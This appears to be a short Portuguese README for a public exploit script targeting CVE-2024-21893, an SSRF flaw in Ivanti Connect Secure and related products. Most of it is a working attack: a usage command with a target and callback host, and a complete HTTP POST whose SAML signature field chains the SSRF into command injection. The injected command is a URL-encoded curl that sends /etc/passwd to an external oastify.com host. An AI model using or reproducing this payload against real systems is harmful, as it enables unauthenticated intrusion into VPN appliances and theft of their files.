h4x0r-dz/cve-2024-21893.pyCVE-2024-21893: Vulnerabilidade SSRF no Ivanti Connect Secure
CVE-2024-21893 é uma vulnerabilidade de falsificação de solicitação no lado do servidor (SSRF) no componente SAML do Ivanti Connect Secure (9.x, 22.x) e Ivanti Policy Secure (9.x, 22.x) e Ivanti Neurons for ZTA que permite que um atacante acesse certos recursos restritos sem autenticação.
Execute python CVE-2024-21893.py -u target.com -a http://xxxxxxxxx.oastify.com
POST /dana-ws/saml20.ws HTTP/1.1
Host: target.com
Accept: */*
Content-Type: text/xml
Content-Length: 934
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<ds:Signature
xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
</ds:SignedInfo>
<ds:SignatureValue>qwerty</ds:SignatureValue>
<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/license/keys-status/%3bcurl%20-X%20POST%20-d%20%40%2fetc%2fpasswd%20http%3a%2f%2f8oxxxxxxxxxxxxx.oastify.com%3b"/>
<ds:X509Data/>
</ds:KeyInfo>
<ds:Object></ds:Object>
</ds:Signature>
</soap:Body>
</soap:Envelope>
Referência: https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis